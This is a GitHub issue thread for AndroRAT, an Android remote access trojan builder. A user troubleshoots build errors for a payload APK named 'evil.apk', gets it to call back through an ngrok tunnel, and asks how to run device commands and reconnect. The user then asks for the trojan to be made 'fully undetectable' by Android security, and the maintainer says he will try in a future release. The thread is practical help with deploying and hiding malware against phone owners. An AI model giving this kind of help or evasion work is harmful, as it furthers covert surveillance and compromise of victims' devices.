Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

WindowsApps Permission Denied, can't build #55

Closed
baobao21 opened this issue Mar 10, 2021 · 12 comments
Closed

WindowsApps Permission Denied, can't build #55

baobao21 opened this issue Mar 10, 2021 · 12 comments

Comments

@baobao21
Copy link

baobao21 commented Mar 10, 2021

I installed python from Microsoft App Store.
I'm getting this error below when I execute it !
FYI, I ran Git BASH as Administrator but still same error occured. How to fix? Please help

python androRAT.py --build --ngrok -o evil.apk
bash: /c/Users/Kas/AppData/Local/Microsoft/WindowsApps/python: Permission denied

@baobao21
Copy link
Author

Please help anyone urgently...

@baobao21
Copy link
Author

baobao21 commented Mar 10, 2021

[INFO] Generating APK
[INFO] Building APK |
W: fakeLogOpen(/dev/log_crash) failed
W: fakeLogOpen(/dev/log_stats) failed
W: fakeLogOpen(/dev/log_stats) failed
W: C:\Users\Kaz\AndroRAT\Compiled_apk_files\res\values-v26\styles.xml:14: error: Error: No resource found that matches the given name: attr 'android:keyboardNavigationCluster'.
W:
brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [C:\Users\Kaz\AppData\Local\Temp\brut_util_Jar_5522465134983109836.tmp, p, --forced-package-id, 127, --min-sdk-version, 16, --target-sdk-version, 22, --version-code, 1, --version-name, 1.0, --no-version-vectors, -F, C:\Users\Kaz\AppData\Local\Temp\APKTOOL4237873043372648811.tmp, -e, C:\Users\Kaz\AppData\Local\Temp\APKTOOL1023330082389241207.tmp, -0, arsc, -I, C:\Users\Kaz\AppData\Local\apktool\framework\1.apk, -S, C:\Users\Kaz\AndroRAT\Compiled_apk_files\res, -M, C:\Users\Kaz\AndroRAT\Compiled_apk_files\AndroidManifest.xml]

[ERROR] Building Failed

@baobao21
Copy link
Author

I tried both manually and automatically with NGROK, saved ngrok configuration first, authenticated it, but still same error with both commands of building apk....failed !

Please help??

@karma9874
Copy link
Owner

Hey, I tried to fix the issue, can you re-clone the repo and try again to check if it's a fix or not.

@baobao21
Copy link
Author

baobao21 commented Mar 11, 2021

Thank you. It's working, built and signed apk manually.
But it's waiting for connections after running shell command.
Do I need to forward the port or do something else???
How to forward?
I'm using it on windows btw.. in git BASH

@karma9874
Copy link
Owner

If it's not on the same network then I would suggest using --ngrok build for it to work

@baobao21
Copy link
Author

baobao21 commented Mar 12, 2021

Sorry It didn't work. It creates the ngrok tunnel_IP, then it keeps waiting....
$ python androRAT.py --build --ngrok -o LALA.apk
[INFO] Tunnel_IP: xxxxxxx PORT: xxxxx (- EDIT(ip-port removed))
[INFO] Generating APK
[INFO] Building APK |
[SUCCESS] Successfully apk built in C:\Users\kas\androrat\LALA.apk
[INFO] Signing the apk
[INFO] Signing Apk |
[SUCCESS] Successfully signed the apk LALA.apk

[INFO] Waiting for Connections \

Do I need to forward something through ngrok?? if yes then could you please tell me how?

Things I did :
I authenticated ngrok account in BASH,
Then I ran the ngrok androrat build command..
Then I installed the built file on phone with 9PK android version
then It just keep waiting for connections..

@baobao21
Copy link
Author

Okay this time IT WORKED !!!!

@baobao21
Copy link
Author

baobao21 commented Mar 12, 2021

But mate, python -m SimpleHTTPServer - What does this command do? What is it for?

Got connection from ('127.0.0.1', 614xx)

And when I typed deviceinfo,, it said Traceback (most recent call last):
File "androRAT.py", line 36, in
build(ip,port,args.output,True,port_)
File "C:\Users\kas06\androRAT\utils.py", line 391, in build
get_shell("0.0.0.0",8000) if not ng else get_shell("0.0.0.0",ng)
File "C:\Users\kas06\androRAT\utils.py", line 339, in get_shell
conn.send(message_to_send.encode("UTF-8"))
ConnectionAbortedError: [WinError 10053] An established connection was aborted by the software in your host machine

How to reconnect?
Stopped working again.
Worked again after few attempts but when I typed deviceinfo , it gave me the same error of connection being aborted...

@baobao21
Copy link
Author

Well, it is working now with --ngrok. I see it is detectable on Android 9 as Trojan. Can you make it fully undetectable again?
And, how do I reconnect if I want to reconnect later??

And how do I exit the shell command and return back to Interpreter?

@baobao21
Copy link
Author

It doesnt work. It's unstable and is detectable even by default android security system without even antivirus.

Can you please update it making it FUD again and make it stable??

@karma9874
Copy link
Owner

Will try to implement it in future release.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants